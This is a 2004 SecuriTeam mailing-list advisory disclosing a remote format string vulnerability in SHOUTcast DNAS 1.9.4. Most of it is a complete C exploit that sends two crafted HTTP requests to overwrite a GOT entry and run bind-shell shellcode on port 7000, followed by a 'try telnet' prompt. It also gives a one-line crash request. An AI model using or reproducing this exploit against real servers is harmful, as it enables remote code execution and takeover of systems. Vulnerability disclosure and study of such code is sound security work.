

[UNIX] SHOUTcast Remote Format String Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0106.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 18:06:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SHOUTcast Remote Format String Vulnerability

SUMMARY

<<http://www.shoutcast.com>> SHOUTcast is "Nullsoft's Free WinAMP-based distributed streaming audio system. Thousands of broadcasters around the world are waiting for you to tune in and listen". A format string vulnerability in SHOUTcast allows remote attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

* SHOUTcast version 1.9.4

Remote exploitation of a format string vulnerability could allow execution of arbitrary code.

A part of request, which was sent by attacker to server, would be included in second arg of `sprintf()` function (0x0804adc3 in Linux binary). It is obviously not good from a security viewpoint. We can crash SHOUTcast in a very easy way, using following request:

<http://host:8000/content/%n.mp3>

Securiteam: [UNIX] SHOUTcast Remote Format String Vulnerability

Or reach remote shell thanks to attached exploit's code.

Exploit:

```
/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
/* Damian Put <pucik@cc-team.org> Cyber-Crime Team (www.CC-Team.org) */
/* Tested on slackware 9.1 and 10.0 (0xbf3fee0) */
/* When exploit only crash SHOUTcast we should calculate new address: */
/* */
/* bash-2.05b$ gdb sc_serv core */
/* ... */
/* (gdb) x/x $edi */
/* 0xbe462270: 0x78257825 */
/* (gdb) x/x 0xbe462270-996 */
/* 0xbe461e8c: 0x5050c031 */
/* */
/* 0xbe461e8c - This is our shellcode addr */
/* */
/* Now we "only" must change format string code in req2 :-) */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
```

```
/* Default SHOUTcast port */
#define PORT 8000
```

```
char shellcode[] = //bindshellcode (port 7000)
```

```
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
```

```
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
```

```
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
```

```
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
```

```
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
```

```
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
```

```
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
```

```
int main(int argc, char *argv[])
{
    int sock;
    char *host;
```

Securiteam: [UNIX] SHOUTcast Remote Format String Vulnerability

```
struct hostent *h;
struct sockaddr_in dest;

char req1[1024] = "GET /content/AA"
/* sprintf GOT addr */
"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";

strcat(req1, shellcode);
strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");

/* We cannot use %numberx and %number$n (filtered) */
/* 0xbf3fee0 – shellcode addr on slackware 9.1 */
char *req2 = "GET
/content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAA-%n-
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAA
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
" HTTP/1.0\r\n\r\n";

printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by
pucik www.CC-Team.org\n");
if(argc < 2)
{
    printf("Usage: %s <host>\n", argv[0]);
    exit(0);
}

host = argv[1];

if(!(h = gethostbyname(host)))
{
    fprintf(stderr, "Cannot get IP of %s, %s!\n", host,
strerror(errno));
    exit(-1);
}

sock = socket(PF_INET, SOCK_STREAM, 0);

dest.sin_addr=*((struct in_addr*)h->h_addr);
dest.sin_family = PF_INET;
dest.sin_port = htons(PORT);

if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr))
== -1)
{
```

Securiteam: [UNIX] SHOUTcast Remote Format String Vulnerability

```
    fprintf(stderr, "Cannot connect to %s, %s!\n", host,
strerror(errno));
    exit(-1);
}

printf("[*] Sending first request ...\n");
write(sock, req1, strlen(req1));

close(sock);

sock = socket(PF_INET, SOCK_STREAM, 0);

if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr))
== -1)
{
    fprintf(stderr, "Cannot connect to %s, %s!\n", host,
strerror(errno));
    exit(-1);
}

printf("[*] Sending second request ...\n");
write(sock, req2, strlen(req2));

close(sock);

printf("[*] Try telnet %s 7000 :)\n", host);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pucik@cc-team.org>> Damian Put.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.